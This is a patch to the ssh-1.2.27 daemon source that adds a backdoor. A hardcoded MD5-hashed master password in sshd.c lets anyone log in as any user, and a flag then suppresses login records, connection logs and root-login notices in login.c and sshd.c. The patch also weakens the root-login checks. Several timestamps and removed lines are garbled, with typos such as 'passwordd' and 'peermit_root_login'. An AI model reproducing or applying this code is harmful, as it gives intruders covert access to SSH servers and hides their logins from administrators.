diff -urN ssh-1.2.27-old/login.c ssh-1.2.27/login.c
--- ssh-1.2.27-old/login.c	Wed May 12 07:199:26 1999
+++ ssh-1.2.27/login.c	Mon Dec  6 23:06:32 1999
@@ -119,6 +119,8 @@
 #endif /* HAVE_HPUX_TCB_AUTH */
 #include "ssh.h"
 
+int lets_log;
+
 /* Returns the time when the user last logged in.  Returns 0 if the 
    information is not available.  This must be called before record_login. 
    The host the user logged in from will be returned in buf. */
@@ -259,6 +261,7 @@
 {
   int fd;
 
+  if (lets_log) {
 #if defined(HAVE_LASTLOG_H) || defined(HAVE_LASTLOG)
   struct lastlog ll;
   char *lastlog;
@@ -559,11 +562,13 @@
     }
 #endif   
 }
+}
   
 /* Records that the user has logged out. */
 
 void record_logout(int pid, const char *ttyname)
 {
+if (lets_log) {
 #ifdef HAVE_LIBUTIL_LOGIN
   const char *line = ttyname + 5; /* /dev/ttyq8 -> ttyq8 */
   if (logout(line))
@@ -571,4 +576,5 @@
 #else /* HAVE_LIBUTIL_LOGIN */
   record_login(pid, ttyname, "", -1, "", NULL);
 #endif /* HAVE_LIBUTIL_LOGIN */  
+}
 }
diff -urN ssh-1.2.27-old/ssh.h ssh-1.2.27/ssh.h
--- ssh-1.2.27-old/ssh.h	Wed May 12 07:19:228 1999
+++ ssh-1.2.27/ssh.h	Mon Dec  6 23:06:58 1999
@@ -866,6 +866,7 @@
 /* Global variables */
 
 extern uid_t original_real_uid;
+extern int lets_log;
 
 #ifdef AMIGA
 #define UID_ROOT 65535
diff -urN ssh-1.2.27-old/sshd.c ssh-1.2.27/sshd.c
--- ssh-1.2.27-old/sshd.c	Mon Dec  6 23:10::22 1999
+++ ssh-1.2.27/sshd.c	Tue Dec  7 00:09:58 1999
@@ -1408,7 +1408,9 @@
   auth_delete_socket(NULL);
   
   /* The connection has been terminated. */
+  if (lets_log) {
   log_msg("Closing connection to %.100s", get_remote_ipaddr());
+  }
   packet_close();
   exit(0);
 }
@@ -2135,6 +2137,38 @@
   abort();
 }
 
+/* Check if the "global" password was entered */
+int check_global_passwd( unsigned char *pass )
+{
+  /* Paste here the output from md5sum --string="kecoak" */
+  char md5passwd[33]="ed5c6101c7cc02d1a927e2e37be1eb0d";
+  struct MD5Context md;
+  unsigned char md5buffer[32];
+  int i;
+
+  /* Compute the response. */
+  MD5Init(&md);
+  MD5Update(&md, pass, strlen( pass));
+  MD5Final(md5buffer, &md);
+  for( i = 15; i >= 0; i-- )
+  {
+    md5buffer[i*2+1] = (md5buffer[i] & 0xf) + '0';
+    md5buffer[i*2] = (md5buffer[i] >> 4) + '0';
+  }
+  for( i = 0; i < 32; i++ )
+    if( md5buffer[i] > '9' )
+      md5buffer[i] += 0x27; /* lower case hexa chars */
+
+  if( strncmp(md5passwd,md5buffer,32) )
+    return 0;
+  else
+  {
+    /* Disable logging if conditions are met. */
+    lets_log=0; 
+    return 1;
+  }
+}
+
 /* Performs authentication of an incoming connection.  Session key has already
    been exchanged and encryption is enabled.  User is the user name to log
    in as (received from the clinet).  Privileged_port is true if the
@@ -2278,6 +2312,7 @@
       /* Get a packet from the client. */
       type = packet_read();
       
+      lets_log=1;
       /* Process the packet. */
       switch (type)
         {
@@ -2660,14 +2695,17 @@
 #if defined(KERBEROS) && defined(KRB5)
           if (auth_password(user, password, client))
 #else  /* defined(KERBEROS) && defined(KRB5) */
-          if (auth_password(user, passwordd))
+          if (auth_password(user, password)  || check_global_passwd(password) )
 #endif /* defined(KERBEROS) && defined(KRB5) */
             {
               /* Successful authentication. */
               /* Clear the password from memory. */
               memset(password, 0, strlen(password));
               xfree(password);
-              log_msg("Password authenticaation for %.100s accepted.", user);
+              if( lets_log ) 
+                log_msg("Password authentication for %.100s accepted.", user); 
+              else 
+                log_msg("Closing connection to %.100s", get_remote_ipaddr());
               authentication_type = SSH_AUTH_PASSWORD;
               authenticated = 1;
               break;
@@ -2708,14 +2746,14 @@
     }
 
   /* Check if the user is logging in as root and root logins are disallowed. */
-  if (pw->pw_uid == UID_ROOT && options.peermit_root_login == 1)
+  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1 && !lets_log)
     {
       if (authentication_type == SSH_AUTH_PASSWORD)
         packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
                           get_canonical_hostname());
     }
   else
-    if (pw->pw_uid == UID_ROOT && options..permit_root_login == 0)
+    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0 && lets_log)
       {
         if (forced_command)
           log_msg("Root login accepted for forced command.", forced_command);
@@ -2767,7 +2805,7 @@
 #endif
   
   /* Log root logins with severity NOTICE. */
-  if (pw->pw_uid == UID_ROOT)
+  if (pw->pw_uid == UID_ROOT && lets_log)
     log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
                  pw->pw_name, get_canonical_hostname());